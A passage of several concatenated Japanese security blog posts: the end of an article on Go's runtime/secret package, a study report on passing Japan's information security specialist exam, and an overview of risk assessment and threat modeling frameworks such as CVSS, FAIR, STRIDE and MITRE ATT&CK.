BenchmarkSecret/1KB/Secret-14   25097634                46.99 ns/op            0 B/op          0 allocs/op
BenchmarkSecret/64KB/Normal-14   1212750               979.4 ns/op             0 B/op          0 allocs/op
BenchmarkSecret/64KB/Secret-14    374982              2986 ns/op               0 B/op          0 allocs/op
PASS
ok      test    5.709s

さいごに

runtime/secret パッケージが導入されたことで、これまで Go のコミュニティが工夫して対応してきたメモリ上の情報管理を、ランタイムレベルでサポートするようになりました。暗号の安全な利用が可能になってくると、クリティカルなシステムインフラなどでも Go を採用していくケースが増えていくのでしょうか。

また、今後は Mac や Windows などその他のプラットフォームや、crypto/tls などの標準ライブラリ内部での runtime/secret の採用など、対応範囲の拡大も期待できます。

本機能は（暗号系の実装をしているわけではないため）、普段の開発には直接影響しなさそうです。しかし、言語レベルでの機能導入により、我々が意識しなくても前方秘匿性が担保され、全体でセキュリティレベルが向上していくのは喜ばしいですね。

以上で本記事を終えようと思います。ありがとうございました。

はじめに

こんにちは。フューチャー株式会社の CSIG というセキュリティ系の部署へ、エンジニアとして復職しました 棚井 です。

半年ほどの英語留学から帰宅したら、IPA（独立行政法人 情報処理推進）から茶封筒が届いていました。開封したところ、なんと「情報処理安全確保支援士試験」の合格通知が入っていました。せっかくなので、現時点から思い出せる範囲で、私が勉強した内容や、忙しい業務や留学準備の合間でどのようにモチベーションを維持したのかをご紹介していきます。

受験理由

資格内容については、IPA さんが YouTube にて以下の動画を公開されています。

• 国家資格「情報処理安全確保支援士」制度の仕組みについて

動画を見なくても「セキスペ」という名前を聞けば、大抵の読者皆様は「あー、IPA 資格試験で、基礎・応用の次に色々あるやつの、セキュリティのやつね」というイメージだと思いますし、私もおおよそ同じような認識でいました。

そんな中、それまでに参加させていただいたサイバーセキュリティ関連でのオンライン・オフラインイベントで様々な意見に触れる中で、この資格取得（情報処理安全確保支援士への新規登録・更新）が、1つの 入場チケット だなと感じました。もちろん、この資格を持っているからといって、何か特殊技能の証明になるわけではありませんし、「ドメスティックな登録セキスペよりも、グローバルに通用する CISSP や CEH の方が実力の証明になってオススメ」という投稿も度々見聞きしました。しかしながら、この資格ホルダーであれば「サイバーセキュリティ関連での議論において、共通の土台を一定程度は身につけていること」を対外的に証明できると思い、試験合格に向けた勉強を始めました。

また、セキスペの新規登録料と講習料を合わせると、スタート地点で 16万円 程度（さらに、3年ごとの更新料負荷がプラス。もちろん、受験料の 7,500円も）かかってしまうのですが、部署内での業務関連資格の取得推奨に合わせた 資格関連の一部経費負担 がスタートしましたので、この機会に乗っかりました。

以下、私が受験した「令和7年度春期」では、合格率は 19.0%（3,134 / 16,526 = 0.1896…）と掲載されていました。過去数値としても 20%台を推移（参照: 情報処理安全確保支援士ドットコム）しているため、試験突破にはある程度の時間投下（=トレードオフとして、何かを諦めること or 優先順位を変えること）が必要な試験だなとも思いました。

• 令和7年度春期情報処理技術者試験（応用情報技術者試験、高度試験）及び情報処理安全確保支援士試験の合格発表について

また、今回（令和7年度春期）の試験内容を思い出すにあたり、以下の記事がとても参考になりました。

• 25/7/6 情報処理安全確保支援士（旧セキスペ）合格体験記　IPAの一次情報を熟読しろ！！！

筆者ステータス

• 社会人歴: 6年
  • Webサービス開発のエンジニア歴: 4年
    • キャリア全体として、バックエンド実装とインフラ運用保守が主な守備領域です
    • フロントはコーディングというよりも、認証認可絡みのトラシュー機会が多数ありました
• 勉強期間: 約3ヶ月
  • セキスペの勉強時間
    • 平日: 2時間
    • 土日祝: 8時間
• その他
  • 午前Ⅰ免除

上記は、私が試験対策を始めた時点でのざっくりとした開発バックグラウンド、及び、投下した勉強時間です。エンジニア歴から分かるように、Web サービス開発で求められるセキュリティ知識や各種仕様については一通り理解しているアドバンテージの上で、試験勉強を始めました。このため、学習リソース（対策本や過去問の解説）が難しくて消化不良を起こすことはありませんでした。むしろ、資格試験の学習を通じて、フレームワークやライブラリに任せっきりであった通信仕様や、認証認可プロセスでのトークン交換仕様などを、セキュリティ関連の知識と紐付けながら再整理する機会になりました。使い古された表現にはなりますが「知識の体系的な獲得・整理」には、資格試験勉強は有効だなと改めて実感しました。

学習リソース

以下の書籍とネット情報を参照しました。

情報処理確保支援士ドットコム

• 情報処理確保支援士ドットコム

セキスペに限らず、IPA 試験対策のとっかかりとして、このサイトの情報を入り口とされる方が多いと思います。私は「おすすめ参考書・問題集」の記載されたページをスマホ片手に、リアル書店で読み比べしながら購入テキスト（「情報処理教科書 情報処理安全確保支援士 2025年版」と「2025　情報処理安全確保支援士「専門知識+午後問題」の重点対策 」）を決めました。正直なところ、一番面白かったのは「関連技術をさらに知るための副読本」の書籍でしたが、こちらにリソースを割くとメインの目的を外してしまいそうな予感がしたため立ち読みで我慢しました。

IPAの「重要なセキュリティ情報」

• 重要なセキュリティ情報

試験では過去問やテキストでは対策しにくい「時事問題」ネタが多数出題されるため、この部分は IPA が発信する情報を毎日チェックすることで知識補強しました。まずは一読して、続いて ChatGPT や Gemini に解説と関連情報の収集をお願いする流れです。ただし、ここの対策はあまりにも膨大で「終わりが無い」ため、いやこれは新着情報を追い続けるのはなかなか大変だなと思った矢先、だからこそ当社提供の FutureVuls を中心とした脆弱性管理サービスがあるのだなと自己解決しました。

情報処理教科書 高度試験午前Ⅰ・Ⅱ

• 2025年版

午前試験対策は「過去問道場」を周回するのが王道です。ただし、私は可能な限り午後対策を優先したかったため、あえて問題総数の少ない紙媒体を選びました。セキスペにて高確率で出題される Chapter 03 技術要素「ネットワーク」と「セキュリティ」だけに絞って、正答だけでなく誤答も含めて「根拠と理由」を言葉にできる状態にまで周回しました。各選択肢の解説が詳しいのも押しポイントです。

情報処理教科書 情報処理安全確保支援士

• 2025年版

「ダウンロード可能な過去問と解説の量」でこの参考書に決めました。次に紹介する「重点対策」では、各トピックごとに「〇〇年春/秋の、××試験の、大問△△の…」というレベルで記載されているので、それに対応可能な過去問+解説欲しさ（それと、Amazon のランキング情報）で選びました。

本書自体の利用方法としては、過去問を解く中で「明確な知識の穴」を感じた場合、つまり「この領域の内容、何にも分からなくて、もう問題を解くってレベルじゃねえぞ」の時です。そのときは辞書的にトピック単位で通読しました。

情報処理安全確保支援士「専門知識+午後問題」の重点対策

• 2025版

私のセキスペ試験対策は、この対策本を中心にして進めました。本書は1,2,3部で構成されており、それぞれの内容は以下の通りです。

• 第1部: 本書の使い方
• 第2部: 午前問題のテーマ別対策と必要知識, セキュリティ基礎知識の確認
• 第3部: 午後問題のテーマ別対策と必要知識

まずは、第1部第2章「情報処理安全確保支援士試験の対策」を読み込んで、試験自体の特徴（学習の重心は何に置くべきか）と問題の解き方（プロ目線での試験突破ノウハウ）を、まずは知識として理解しました。こういうナレッジは「具体的なプロセスの中で意識的に適応すること」で血肉になるものなので、初手は理論としてインプットです。

続いて、第2部最終ページの「暗記事項」を全て暗記しました。2025年版の p.148 ~ p.155 には「問題 + 解答」のリストが多数掲載されているので、問題を見た瞬間に（ほぼ）反射で解答できるところまで脳内に記憶しました。例えば、「情報セキュリティの概念」の「三大要素」という問題があれば、即座に「①情報資産 ②脅威 ③脆弱性」と口頭（または脳内）でアウトプットできるまでに仕上げました。書籍筆者は、セキスペ対策には「知識の絶対量を増やすこと」が試験対策の中心になると主張されており、試験の「対策過程（勉強過程）」を振り返ると、私も全面的に賛成します。英文解釈と同じで、文章内に分からない単語が1つあったとしても「文脈」で類推可能なことが多いですが、例えば、たった1つの文に知らない単語が複数あると、途端に理解不能となるあのイメージです。ただし、暗記一辺倒という訳ではありませんので、詳細は書籍の記載内容をご確認ください。

第3部以降の内容が、本格的な午後試験対策の始まりです。各トピック（ex. 認証とアクセスコントロール, KPI, サーバセキュリティ）ごとに、以下の「学習方法」が掲載されています。

• ①前提知識の確認
• ②本章の知識の確認
• ③FE,APの過去問題・解答例・採点講評を読んで理解を深める
• ④SCの過去問題・解答例・採点講評を読んで理解を深める
• ⑤章末の演習問題で確認
• ⑥必要事項の暗記+午前問題

このうち、私は①~⑤を書籍の指示通りに進めていきました。

1周目の時点では何かしらのメモを残しておき、2周目以降での優先順位付けとして利用しました。

（番外編）勝ち残りSEへの分岐点

• 勝ち残りSEへの分岐点, 三好康之

重点対策本の第1章終盤のコラムページに「丸暗記は善か？悪か？」から始まるページがあります。この記載内容に大きく刺激を受けまして、この観点を深掘りしたブログか何かがないかなと探したところ、まさにの本書を見つけました。

ここまでにご紹介した本とは打って変わって、こちらの書籍自体はセキスペの対策本ではありません。ただし、重点対策本と同じ筆者の「三好康之さん」により執筆されています。現時点で振り返ると、セキスペに合格したことよりも、その勉強を通じて本書に出会い、筆者の考え方を吸収できたことの方が、将来的な利子は大きくなりそうな予感がしています。

どんな領域であっても「基礎が大事」というのは否定されませんが、その続きで「基礎って、具体的に何？どういう状態のことを指すの？」という質問に対して、1つの解答が提示されています。個人的には、以下のやり取りが最も記憶に残りました。

A君「ぼくは、SEにとって、基礎って一番重要だと思うんだ」
B君「へえー、じゃあ、A君の考える基礎って何を指すの？」
A君「それは、①大学卒業程度の学力と、②情報処理技術者試験の応用情報技術者試験（旧：ソフトウェア開発技術者）レベルの知識じゃないかな」
B君「えー！？ じゃあ、大学を卒業していて、応用情報技術者の資格を持っていれば良いって言うこと？　それなら、大勢いるんじゃない？」
A君「ごめんごめん、言葉が足りなかったね。ぼくが言いたかったのは、資格を持っているというレベルではなくて、これらの基礎知識を、いつでも瞬間的にアウトプットできるぐらい徹底的に頭の中に叩き込んでおくことが重要だってことなんだ。掛け算の九九のようにね」
B君「どうして、そこまでする必要があるんだ？ それに、そんな知識はちっとも仕事で役に立たないし…… 。」

（引用: 勝ち残りSEへの分岐点 p.98）

そういえば、セキスペ対策と並行して進めていた英語留学準備についても、この考え方に近しい Atsueigo さんの動画（【英語学習における基礎力の重要性】 効率的な英語学習フロー／短期集中でコミットするには／適切な学習順番と時間配分 【発音／文法／単語】）をベースに、「基礎知識の暗記」を優先事項として勉強していました。

おわりに

実際のところ、留学中にスマホ経由で IPA の受験者マイページにログインして、セキスペに合格していることは確認済みでした。しかしながら、自宅に届いていた「情報処理安全確保支援士試験合格証書」を見た時の熱が冷めないうちにブログ化しようと思い執筆しました。本ブログの内容が今後の試験対策等への参考となれば幸いです。

ここまでお付き合いいいただき、ありがとうございました。

PS: みなさんにとっての「基礎」について説明された書籍がありましたら、是非とも教えてください！

はじめに

人生は選択の連続ですが、何を選択するかどうやって決めていますか？

おそらくはメリット/デメリットを鑑みて方向性を決める方が大半だと思います。時には、どう転んでも結論は一緒の場合やメリデメで考えない場面もあるとは思いますが、巨額マネーが動くケースではそうもいきませんよね。

今回は、サイバーセキュリティ界隈の文脈で「リスクの可視化～意思決定」がどのように行われるのかをお話します。これはプライベートでも仕事でも、おおよそ生きていく上で役立つ考え方にも応用できると思います。

リスクアセスメントとは

ビジネスはいかに精度よく予測して経営計画を立て、調整力と実行力で推進し、残りは運、そんな感じのポートフォリオかと思います。もちろん経営者の方の中には長年の勘やデータからは読み取れないが物理的な何某か（ex. 生きている消費者から直接感じ取る波動や世間のそわそわした感じ…etc.）などあるかと思いますが、結局現実判断としてどの程度の見込みや期待に対して、どの程度リスクをとれるのか or とれないのかをどこかのタイミングでしています。

サイバーセキュリティの世界でも「リスクを可視化して経営者が意思決定しやすい状態にする」活動があり、それが我々の仕事の1つ、リスクアセスメントです。

リスクアセスメントの実践ステップ

では、具体的にどのように進めるのでしょうか。大まかには以下のステップで行われます。

1. 情報資産の特定と評価
   まず「何を守るべきか」を明確にします。顧客データベース、ウェブサイト、社内システムなどをリストアップし、それぞれが停止したり情報が漏えいしたりした場合のビジネスインパクト（機密性・完全性・可用性の観点）を評価します。情報資産管理台帳をもとに洗い出すことが多いです。
2. 脅威の特定と評価
   資産に対してどのような悪いことが起こりうるかを考えます。”脅威モデリング” という分野がここに該当します。
3. 脆弱性の特定と評価
   資産にどのような弱点があるかを評価します。
4. リスクの算定
   「資産価値」「脅威」「脆弱性」を包括的に考慮し、リスクレベルを評価します。高度なアセスメントでは、評判・収益・法的・規制上のリスクといった複雑に絡み合った概念への影響をも考慮されます。
5. リスク対応の決定と報告
   この結果を、「現在〇〇のリスクが年間XXXXの確率で存在しますが、対策YにZZZ投資することで、リスクを$XXに低減できます」といった形で経営層に報告し、最終的な意思決定を仰ぎます。

このように、リスクアセスメント はインプットをもとに、意思決定を行うまでのプロセスを指します。

これとは別に、脅威モデリング という分野もあります。インプット自体をどう行うのかを作成するプロセスを指します。したがって、両者は密接に関わり、さらに前者は後者を内包し、後者は前者の中の複数のステップに関わっています。実際、どのように脅威の算出ステップを踏んでいるのか メルカリのユースケース や PURESTORAGEのユースケース を見てみましょう。こちらの記事からも分かる通り、現状では自分たちが評価しやすいように各種フレームワークやモデルをカスタマイズして利用しているところが大半です。

フレームワーク・方法論・ナレッジベース

セキュリティの世界では、リスクを式で捉えなるべく定量化するようにフレームワーク等の確立を進めています。こうすることで客観的に表現できるよう努めています。以下に思考モデルについてまとめてみました。

※ナレッジベースは定量度を考慮して配置するのが難しかったため、最下部にまとめています。該当象限やカテゴリ分けが違う等ご指摘あればコメントいただけると幸いです、ブラッシュアップしたいです！

各ステップで用いられる思考ツールがあるので下記に紹介します。どのステップで何をどのように活用するのかは、別途執筆（or 加筆修正）予定です。

フレームワーク：テクノロジーサイド

まず、テクノロジー寄りのフレームワークについてです。

CVSS（共通脆弱性評価システム）

こちら は、個別のソフトウェアなどの「脆弱性（弱点）」そのものの深刻度を評価するための世界共通の指標です。特定の企業のリスクというより、個々の弱点の危険度を0.0～10.0のスコアで示します。IT管理者が膨大な脆弱性情報の中から、対処の優先順位を判断するために広く使われています。

CVSSスコアは、以下の3つの基準から算出されます。

1. 基本評価基準 (Base Metrics)
   脆弱性そのものが持つ、時間が経っても変わらない本質的な危険度。
2. 現状評価基準 (Temporal Metrics)
   攻撃コードの出現など、時間と共に変化する脅威の状況を反映した危険度。
3. 環境評価基準 (Environmental Metrics)
   組織の対策状況など、その脆弱性が存在する個別の環境に合わせた実際の危険度。

詳細は 弊社FutureVuls Document へ。

OWASP ASVS (Application Security Verification Standard)

こちら は、検証フレームワークです。アプリケーションが満たすべきセキュリティ要件を網羅的にリストアップしており、テストや評価の際の市場における検証範囲と厳密さのレベルを標準化することを目的としています。この標準は、Webアプリケーションのセキュリティに対する信頼レベルを確立するために使用されます。

フレームワーク：ビジネスサイド

ここからはビジネスサイド寄りのフレームワークになります。

NIST SP 800-30 ー情報システムに対するリスクマネジメントガイドー

こちら は、技術的な脅威や脆弱性が、組織のミッションやビジネスプロセスにどのような影響を与えるかを評価するための「プロセス」そのものです。アメリカ国立標準技術研究所（NIST）が発行しているガイドラインで、特に米国政府機関やその取引先で標準的に利用されており、非常に詳細で体系的なアプローチが特徴です。技術部門からの情報（テクノロジー）と、事業部門からの情報（ビジネス）の両方をインプットとして必要とするため、両者の橋渡し役として機能します。

脅威、脆弱性、影響、可能性の4つの要素からリスクを評価します。リスクアセスメントのプロセスを「準備」「実施」「伝達」「維持」の4つのステップで定義しています。

CIS RAM (Center for Internet Security Risk Assessment Method)

こちら は、サイバーセキュリティ対策のベストプラクティス集である「CIS Controls」に基づいてリスクを評価するための手法です。この評価手法は、「どの技術的対策を、どこまで実施できているか」という技術的な実装状況を起点として実践的なセキュリティ対策とリスクアセスメントを直接結びつけられる点が特徴です。
CIS Controlsで定義されている具体的な対策項目（Safeguards）の導入状況を評価に組み込みます。事業への影響度や脅威の可能性を考慮し、合理的なレベルのセキュリティ対策を判断するのに役立ちます。

COSO-ERMフレームワーク

こちら は、COSO（米国トレッドウェイ委員会支援組織委員会：米国設立の民間部門主導の団体）が発行している、全社的リスクマネジメント（ERM：Enterprise Risk Management）のためのフレームワークです。サイバーセキュリティに特化したフレームワークではありませんが、事業戦略とリスク管理を統合する視点を提供するため、サイバーリスクを経営リスクの一部として位置づける際に非常に有効です。サイバー攻撃を単なるIT部門の問題ではなく、事業継続や財務、評判に影響を及ぼす「全社的な経営リスク」として捉える際に、COSO ERMの考え方が役立ちます。

以下参考

• Managing Cyber Risk in a Digital Age (COSO)
  COSOが発行した、ERMフレームワークをサイバーリスク管理に適用するための公式ガイダンスです。サイバーリスクを事業リスクとして管理する方法を解説しています。
• Integrating Cybersecurity and Enterprise Risk Management (ERM) (NIST)
  NISTが発行したレポートで、NISTのサイバーセキュリティフレームワーク（CSF）とCOSO ERMのようなERMを統合する方法について詳しく説明しています。
• COSOレポートの概要等について
  金融庁検査局の専門検査官（公認会計士）が2005年に公表したもので、COSOが公表した内部統制とリスクマネジメントのフレームワークについて解説しています。
• Why & How to Incorporate Cyber Risk Management Into Enterprise Risk Management
  病院や医療機関のリーダー層（経営者、理事会など）に向けて書かれたもので、サイバーセキュリティリスク管理を、病院全体の経営リスクを管理するERMの仕組みに統合する理由と具体的な方法を解説しています。どのように（How）統合するのかについては、
  • 意識改革
    サイバーリスクを技術用語（ex.脆弱性, マルウェア）で語るのではなく、ビジネス用語（ex. 手術の遅延, 罰金）に翻訳して、理事会や経営層と議論する。
  • 体制の構築
    IT部門だけでなく、臨床部門、法務、財務、広報など、部門横断的なリスク管理委員会を設置する。
  • フレームワークの活用
    NIST CSF（サイバーセキュリティフレームワーク）やCOSO ERMといった既存のフレームワークを活用し、リスクの特定、評価、対応のプロセスを標準化する。

　が挙げられています。

フレームワーク：Biz×Tech 融合フィールド

最後にビジネスとテクノロジーの中間に位置するフレームワークになります。

SSVC

こちら は、 脆弱性への対応の優先順位付けを決定する ためのフレームワークです。SSVC (Stakeholder-Specific Vulnerability Categorization) は、CVSSスコアのように単一の数値で評価するのではなく、意思決定ツリーを用いて、脆弱性ごとにとるべき行動を Track（追跡）, Track*（深い追跡）, Attend（注意）, Atc（行動）の4つのカテゴリのいずれかに分類します。

詳細は 弊社FutureVuls Blog へ
SSVCにおける Human Impact 決定方法例
SSVCを使いこなそう 〜CISA × CERT/CCが提案する効率的な優先度付けフレームワーク〜

1. 損失イベントの発生頻度 (Loss Event Frequency)
脅威がどのくらいの頻度で発生し (Threat Event Frequency)、それが自社の弱点に接触し (Contact Frequency)、攻撃が成功する (Probability of Action) のかなどを分析します。これはALEのARO (年間発生率) をより詳細に分析するプロセスに相当します。

2. 損失の大きさ (Loss Magnitude)
インシデントが発生した場合に、どのような損失（直接的・間接的）が出るのかを分析します。これはALEのSLE (1回あたりの損失額) をより詳細に分析するプロセスに相当します。

FAIR（Factor Analysis of Information Risk）

こちら は、サイバーセキュリティなどの情報リスクを金額（ドルや円）で定量的に評価するための国際標準の思考モデルで、CRQ（Cyber Risk Quantification）の一般的な算出方法の1つです。リスクを闇雲に見積もるのではなく、「リスクとは何か」を構成要素にまで細かく分解し、それらを論理的に積み上げて評価します。

「高・中・低」といった曖昧な表現ではなく、「このリスクによる年間の予想損失額はX円です」のように、ビジネス上のインパクトを具体的な金額で示すことを目的としています。FAIRでは、以下のようにリスクを大きく2つの要素（LEFとLM）に分解し、それぞれにおいてさらに要素分解して具体的に値を算出していきます。

OWASP SAMM (Software Assurance Maturity Model)

こちら は組織のソフトウェアセキュリティ体制の 成熟度モデルフレームワーク です。組織がセキュリティ活動を評価し、改善していくための戦略的な指針を提供します。5つのビジネス機能と各機能にぶら下がる3つのセキュリティプラクティスで構成されています。評価は、この合計15のセキュリティプラクティスに対して行われます。

方法論 -Methodology-

OWASP Risk Rating Methodology

こちら は、 ウェブアプリケーションに存在するセキュリティ上の脆弱性が、ビジネスにどれほど深刻なリスクをもたらすかを評価するための、世界標準のフレームワークです。DREADモデルよりも客観性と具体性が高く、セキュリティの専門家の間では非常に優れた方法論として知られ、デファクトスタンダード（事実上の標準）と見なされています。
詳細は 弊社FutureVuls Blog：OWASP Risk Rating Methodologyについて -リスクの判断- へ。

STRIDE

こちら は、Microsoftが提唱した 脅威モデル化の方法論 で、システムの設計段階で脅威を洗い出すために使われます。非常によく用いられるため、各々の用途に特化した亜種が複数存在します（後述）。東京都産業労働局でも中小企業向けに 紹介 しているようです。
STRIDEは以下の6つの観点からシステムに潜むリスク（脅威）を分析します。

STRIDEは、システムアーキテクチャ（ex.DFD）を見ながら以下のステップで活用するのが一般的です。

1. システムの理解と分離
   • どのような利用者がいるのか
   • どのような処理が行われるのか
   • データはどこに保管されるのか
   • コンポーネント間でどのようにデータがやり取りされるのか
2. 脅威の洗い出し
   ステップ１での各要素に対してSTRIDEの6カテゴリを当てはめてどのような脅威がありうるかをブレインストーミングします。
3. リスクの評価と対応
   洗い出した脅威に対して、その発生可能性や影響度を評価し、どの脅威から対処すべきか優先順位をつけます。そして、リスクを低減するための具体的な対策（ex. 多要素認証の導入、入力値の検証強化、ログの取得徹底）を検討し、設計に反映させます。それぞれの脅威が「どれほど危険か」を定量的に評価する手法として、DREAD モデルが知られていますが、評価者の主観に依存する部分が大きいため、現在ではより客観的な評価が可能なCVSS (共通脆弱性評価システム) などが使われる場面も増えています。

STRIDE-per-Element

こちらは、DFDの各構成要素から脅威を洗い出す方法です。まず、システムの構成についてDFDを作成し、構成要素を特定し、すべての要素に対してSTRIDEに当てはまるか判断して各要素についてリスクを洗い出しメトリクスにまとめていきます。要素としては主に以下が挙げられます。

• 外部エンティティ
• プロセス
• データフロー
• データベース

STRIDE-per-Interaction

こちらは、DFDの中から信頼境界（管理している組織やインターフェイスが変わる境界線）上の脅威を洗い出す観点で実施する方法です。信頼境界を既存のDFDに書き込み、信頼境界と交差するデータフローを特定し、それぞれについてSTRIDEに当てはまるかどうかを判断します。

参考） STRIDEの変化形とセキュリティ要件で導き出す脅威分析手法 FFRI：詳細記載あり。

STRIDE-LM

近年では、従来のSTRIDEに加えて水平展開の概念も取り入れて評価すべきという理由から STRIDE-LM が提唱され始めています。先ほどの6項目に加え、下記が加わります。

Lateral Movement:
Lateral Movement involves moving laterally within a network or system to gain access to additional resources or data. This can occur through various means, such as exploiting vulnerabilities in network protocols or using stolen credentials.

STRIDE-LM can help identify potential vulnerabilities related to each of these threat categories by analysing processes and identifying potential security issues. This can help organizations take a proactive approach to cybersecurity and reduce the risk of security incidents.

参考） CyberAgentの記事：上記執筆にあたり有益な情報を提供いただき感謝しています
https://www.iriusrisk.com/threat-modeling-methodologies

PASTA（Process for Attack Simulation and Threat Analysis）

こちら は、STRIDEが「この設計でどんな悪いことが起こりうるか？」という 技術中心 のアプローチであるのに対し、PASTAは「このビジネスにおける最悪の事態は何か？」という ビジネス中心 からスタートします。

PASTAは以下の 7ステップ でリスクを分析します。

特徴としては以下が挙げられます。

• リスク中心のアプローチ
  ビジネス上の目的や資産価値を最初に定義し、それに紐づく脅威とリスクを評価します。
• 攻撃者の視点を重視
  攻撃者がどのように考えるかをモデル化し、攻撃シミュレーションを通じて、現実的な脅威シナリオを洗い出します。
• コンプライアンスとの整合
  ビジネス要件からスタートするため、業界の規制やコンプライアンス要件（例: GDPR, PCI DSS）と連携させやすい特徴があります。

TRIKE（Threat and Risk-driven Intelligence-based Kill-chain for Embedded systems）

こちら は、前述の2つの手法（STRIDE系とPASTA）とは異なり、リスクベースでセキュリティ監査プロセスに取り組むように設計された、OSSの脅威モデリングプロセスです。他の多くの手法が「攻撃者が何をできるか」という視点から脅威を洗い出すのに対し、TRIKEは「このシステムが持つべきセキュリティ要件は何か」「どこまでのリスクなら許容できるか」というアプローチであるのが最大の特徴です。こうすることで、各資産にリスクレベルを割り当て、そのレベルがステークホルダー（利害関係者）にとって許容可能であることを保証します。

TRIKEのプロセスは、主に2つのモデルを作成し、それらを突き合わせることで進行します。

• 要求モデル (Requirements Model)：システムが どうあるべきか を定義
  このモデルは、システムのセキュリティ要件そのものを表します。
  • 資産 (Assets)
    保護すべき対象（例: 顧客情報、商品マスター）を定義します。
  • アクター (Actors)：システムと対話する人や外部システム（例: 一般ユーザー、管理者、決済システム）を定義します。
  • アクション (Actions)：アクターが資産に対して何を行うか（作成:Create, 読取:Read, 更新:Update, 削除:Delete）を定義します。
  • リスク許容度：上記の各アクションに対して、ステークホルダーが許容できるリスクレベルを5段階評価などで設定します。
• 実装モデル (Implementation Model)：システムが 実際にどう作られているか を可視化
  • データフロー図 (DFD): システムのコンポーネント（プロセス、データストア等）と、それらの間のデータの流れを図で表現します。これにより、システムのアーキテクチャが明確になります。

OCTAVE Allegro（Operationally Critical Threat, Asset, and Vulnerability Evaluation ）

こちら は、組織が情報セキュリティのリスクを評価・管理するために、カーネギーメロン大学のCERT/CCによって開発された手法です。組織がデータ、人、機器などの包括的な資産セット全体にわたって情報セキュリティリスクを特定し、優先順位を付けるのに役立つように設計されています。

自己主導型のアプローチを採用しており、従業員（管理部門と運用部門）が全体的なセキュリティ戦略の策定に責任を負うため、基本的に中小企業向けのアプローチとなります。規模に応じて複数種類がありますが、Allegro は original と -S をうまくマージし、より合理的かつ効率的にリスク評価を行えるように改良されたバージョンです。下記が特徴として挙げられます。

• 資産中心のアプローチ
• 包括的な評価範囲
• 規模に応じた柔軟性と効率性

EPSS (Exploit Prediction Scoring System)

こちら は、特定の脆弱性が今後30日以内に悪用される確率を0%から100%（または1～10）のスコアで予測する、データ駆動型のアプローチです。まだ悪用は確認されていないものの、将来的に攻撃対象となる可能性が高い脆弱性を特定し、プロアクティブな（先を見越した）対応を可能にすることを目的としています。従来の CVSS が脆弱性自体の「技術的な深刻度（例：攻撃が成功した場合の被害の大きさ）」を評価するのに対し、EPSS は「悪用される可能性」という脅威の側面に特化しています。
詳細は FutureVuls Blog：EPSS入門：脆弱性管理を変革する新指標の理解と活用方法 へ。

ナレッジベース系

情報セキュリティ10大脅威

こちら は、前年に発生した社会的に影響が大きかったと考えられる情報セキュリティにおける事案から、IPAと10大脅威選考会が協議し、決定した脅威の一覧です。

OWASP TOP10

こちら は、Webアプリケーションにおける最も重大なセキュリティリスク10項目を定期的に発表している標準リストです。非常に有名で影響力が大きく、多くの企業のセキュリティ基準や脆弱性診断のベースとなっています。

MITRE CWE（共通脆弱性タイプ一覧）

こちら は、ソフトウェア業界全体で共有されている国際標準的な脆弱性種類の一覧です。プログラム上の「なぜ」脆弱性が生まれるのか、その原因（バグの種類）を分類したものです。CWEは、インシデントを引き起こす根本的な “設計ミス” や “コーディングの癖” のパターンをまとめた知識ベースであり、ソフトウェアを安全にするための土台となります。脆弱性診断の結果を理解する上で必須の知識です。

CVE（共通脆弱性識別子）

こちら は、個々の製品で見つかった、特定の脆弱性（セキュリティ上の欠陥）に与えられる、世界共通の固有番号です。研究開発者へおすすめな 外部リソース もまとめてくれています。

KEV（Known Exploited Vulnerabilities）

こちら は、実際に悪用が確認された脆弱性のリストです。米国のサイバーセキュリティ・社会基盤安全保障庁（CISA）が管理・公開しており、「KEVカタログ」として知られています。膨大な数の脆弱性の中から、攻撃者に現実に狙われている「今すぐ対応すべき最も危険な脆弱性」を特定し、組織が迅速に対策を講じることを支援することが目的です。特徴としては、以下が挙げられます。

• 実績ベース
  リストに掲載されているのは、理論上の危険性だけでなく、実際に攻撃コードが存在し、悪用されていることが確認された脆弱性に限定されます。
• 高い優先度
  KEVに掲載された脆弱性は、対応の優先度が極めて高いと判断されます。米国の連邦政府機関に対しては、CISAが定める期限内に修正プログラム（パッチ）の適用などが義務付けられています。

MITRE ATT&CK

こちらは、脅威分析の中の攻撃手法に特化した体系知識を提供してくれるナレッジベースです。ATT&CK は “Adversarial Tactics, Techniques, and Common Knowledge” の略です。
セキュリティ界隈では “超有名” なサイトですが、使い方がいまいち分からん！という方へ下記にまとめてみました。

ユースケース

１）サイトへアクセス
今回は Enterprise 用のサイトに絞ってみていきます。まず、ATT&CK Navigator へ飛びます（下図赤枠クリック）

攻撃対象のカテゴリと好みのUIを選びます。
ここでは、ほぼデフォルトで [Create New Layer] > [Enterprise] を選択し下記に飛びました。

２） フィルタリング項目
フィルタリング項目は右ペインの一覧に列挙されています。

2025年8月現在は全7項目あります。文字通りの項目は説明を割愛しますが、おおよそ意味は以下の通りです。

• Techniques（攻撃テクニック）
• Thread Groups（攻撃グループ）
• Software（攻撃対象ソフトウェア）
• Mitigations（緩和策）
• Campaigns（キャンぺーン）

特定の目的をもって、一定期間に行われた一連のサイバー攻撃活動のまとまり
多くの場合、 Thread Groups と関連づけられています。

• Assets（資産）
  主に産業用制御システム（ICS）環境下で観測される攻撃標的となりうる物理デバイスやシステム
  ATT&CK for ICS という工場やプラント向けのフレームワークで特に重視されるため、ここで掲載している Enterprise では数としては “Assets(０)” となっていますが気になる方は ICS 要のページで閲覧すると該当数が異なると思います。
• Data Sources（データソース）
  攻撃者の Technique を検知するために、組織が収集すべきログや情報の種類
  防御側が「何を見れば」攻撃の痕跡を見つけられるかを示したリストです。これは非常に便利ですね！

各項目でヒットさせたい条件を detect してアンド条件を指定していきます。指定後は青枠で囲われた状態になります。各項目にカーソルをあてると、該当する攻撃手法がハイライトされます。ここでは、よく知られている攻撃グループ（ハッカー集団）に注目してみました。（ふむふむ、なんだか動物の名前が多い気が…）

３）詳細情報へ
Fox Kittenという攻撃グループはどんな集団なのか気になった場合は [view] をクリックして詳細ページを見ることができます。他の項目それぞれにおいても同様に各詳細情報を閲覧できます。

MITRE D3FEND

こちら は、世界中のセキュリティ専門家に利用されている攻撃技術のフレームワーク『MITRE ATT&CK®』と対をなす存在で、ATT&CKが「攻撃者の手法（TTPs）」を体系化しているのに対し、D3FENDは「防御側の対抗策（Countermeasures）」を体系化しています。特定の攻撃テクニックに対して、どのような防御技術が有効かをマッピングできます。D3FENDは 比較的新しいプロジェクト で、MITREによるとまだ実験段階とのことですが、ATT&CKフレームワークと組み合わせてセキュリティ可視性要件の優先順位付けに活用できると考えられます。

D3FENDの最大の特徴は、防御技術が独自の『防御マトリクス（Defensive Matrix）』によって分類・整理されている点です。マトリクスは、防御活動の目的別に大きく分類されています。

The D3FEND matrix categorizes countermeasure techniques into five stages of defense:

